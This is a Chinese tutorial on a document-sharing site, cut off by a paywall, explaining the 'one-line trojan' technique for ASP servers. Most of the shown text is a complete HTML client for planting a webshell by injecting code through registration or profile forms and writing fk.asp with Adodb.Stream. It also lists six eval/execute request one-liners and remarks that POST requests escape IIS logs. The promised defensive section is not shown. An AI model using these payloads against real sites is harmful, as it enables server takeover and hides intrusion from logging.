教学文库网 - 权威文档分享云平台
您的当前位置:首页 > 文库大全 > 求职职场 >

解析一句话木马的原理

来源:网络收集 时间:2026-08-26
导读: 解析一句话木马的原理 一句话插入木马 就是通过向服务端提交一句简短的代码来达到向服务器插入木马并最终获得webshell的方法。很多时候我们可以通过在注册表单或者用户信息修改表单中,插入简短的ASP代码,使网站ASP数据库变成为一个ASP木马,然后进一步入侵

解析一句话木马的原理

一句话插入木马

就是通过向服务端提交一句简短的代码来达到向服务器插入木马并最终获得webshell的方法。很多时候我们可以通过在注册表单或者用户信息修改表单中,插入简短的ASP代码,使网站ASP数据库变成为一个ASP木马,然后进一步入侵控制服务器。本文就一句话asp木马的工作原理进行了剖析,并在最后列出防范的具体措施。(注:以下代码仅供参考,因为内含木马程序,所以本文已做安全性修改)
一:基础篇


首先我们看一下最常用的一句话木马客户端的代码:


以下是代码片段:
<html>
<head>
<title>一句话客户端</title>
<style type="text/css">
<!--
body {
background-color: #FFFFFF;

}
.lygf {
border: 1px solid #660069;
font-size: 12px;
}
-->
</style>
</head>
<body>
<table width="500" border="0" align="center"
class="lygf" height="14" cellspacing="0">
<tr>
<td height="1" width="794">
<form name="lygf" method="post">
<input name="add" type="text" id="add"
size="97" value="http://">
<input type="submit" value=""
onClick=""

<input type="hidden" name="" id=""
value="Execute("Session("""")=request(""""):
Execute(Session(""""))")">

</td>
</tr>
<tr>
<td height="100" width="794">
<textarea name="*" cols="100" rows="9" width="45">
set lP=server.createObject("Adodb.Stream")
lP.Open
lP.Type=2
lP.CharSet="gb2312"
lP.writetext request("lygf")
lP.Close
set lP=nothing
response.redirect "fk.asp"</textarea>
</td>
</tr>
<tr>
<td height="1" width="794">
<textarea name="lygf" cols="100" rows="15" width="45">
写入</textarea>
</td>
</tr>
<tr>
<td width="794" height="7">

<font color="#000000">提供六个服务端:</font>
<br>
1. <%eval request("fk")%>
<br>
2. <%execute request("fk")%>
<br>
3. <%execute(request("fk"))%>
<br>
4. <%On Error Resume Next%><%eval request("fk")%>
<br>
5. <script language=""runat=server>execute request("")
<br>
6. <script language="" runat=server>eval request("")

</td>
</tr>
</table>
</body>
</html>

把上面的代码另存为htm的格式后就可以使用了,具体的使用说明在网页上可以看到:

下面就带着大家一起分析一下上面的代码(html的一些最基本的知识就不做解释了):
显示在浏览器标题栏上面的文字,你可以自己更改

<style type="text/css">
<!--
body {
background-color: #FFFFFF; 背景颜色

}
.lygf {
border: 1px solid #660099; 边框属性
font-size: 12px; 字体大小
}
--> 本页面所要用到的样式



创建一个form对象,其中name的作用是用作一个枢纽把我们要插入的马的内容传递给form,以post方式提交给下面的连接,而不是get,用post提交IIS是不
记入日志的。


<input name="add" type="text" id="add"
size="97" value="http://">
创建一个用于提

解析一句话木马的原理

交的输入框(text)用于写地址(add),
长度是97个字节,value=是默认的内容。


<input type="submit" value="枫"
onClick="this.form.action=this.form.add.value;">
创建一个按钮用于提交(submit),
后面的部分是把上面value的值赋给form去post。


<input type="hidden" name="fk" id="fk"
value="Execute("Session(""fk"")=request(""*""):
Execute(Session(""fk""))")">通过建立一个隐藏域,
把fk与下面name的值*关联,用session保存代码然后执行,
这句借用了海洋的客户端,不过那样不怎么好用。


<textarea name="*" cols="100" rows="9" width="45">
textarea就是论坛中的发言框。在HTML语言中,
textarea、input都是属于“文本域”的。

set lP=server.createObject("Adodb.Stream")
CreateObject创建并返回对 Automation 对象的引用,
应用于Server 对象;Adodb.Stream是ADO的Stream对象,
提供存取二进制数据或者文本流,从而实现对流的读、
写和管理等操作;对象创建后,
就可以在代码中使用定义的对象变量(IP)引用此对象
lP.Open 打开这个变量。
lP.Type=2 Type 指定或返回的数据类型,这里是以文本方式。
lP.CharSet="gb2312" gb2312是指简体中文。
lP.writetext request("lygf")
Request 对象在 HTTP 请求期间,
检索客户端浏览器传递给服务器的值,这里是lygf,
要和下面文本框中的name=lygf相对应,
writetext允许对现有的 text、ntext
或 image 列执行最小日志记录的交互式更新。
WRITETEXT 将覆盖受其影响的列中的所有现有数据,
在这里的作用就是取得下面的文本框里的木马的内容。
lP.SaveToFile server.mappath("fk.asp"),
2 这句很好懂,就是以覆盖文件的方式向服务器
的同文件目录下写入fk.asp。
lP.Close 关闭对象变量。
set lP=nothing 释放Adodb.Stream对象。
response.redirect "fk.asp" 在这里起到转向作 …… 此处隐藏:3788字,全部文档内容请下载后查看。喜欢就下载吧 ……

解析一句话木马的原理.doc 将本文的Word文档下载到电脑,方便复制、编辑、收藏和打印
本文链接:https://www.jiaowen.net/wenku/1702119.html(转载请注明文章来源)
Copyright © 2020-2025 教文网 版权所有
声明 :本网站尊重并保护知识产权,根据《信息网络传播权保护条例》,如果我们转载的作品侵犯了您的权利,请在一个月内通知我们,我们会及时删除。
客服QQ:78024566 邮箱:78024566@qq.com
苏ICP备19068818号-2
Top
× 游客快捷下载通道(下载后可以自由复制和排版)
VIP包月下载
特价:29 元/月 原价:99元
低至 0.3 元/份 每月下载150
全站内容免费自由复制
VIP包月下载
特价:29 元/月 原价:99元
低至 0.3 元/份 每月下载150
全站内容免费自由复制
注:下载文档有可能出现无法下载或内容有问题,请联系客服协助您处理。
× 常见问题(客服时间:周一到周五 9:30-18:00)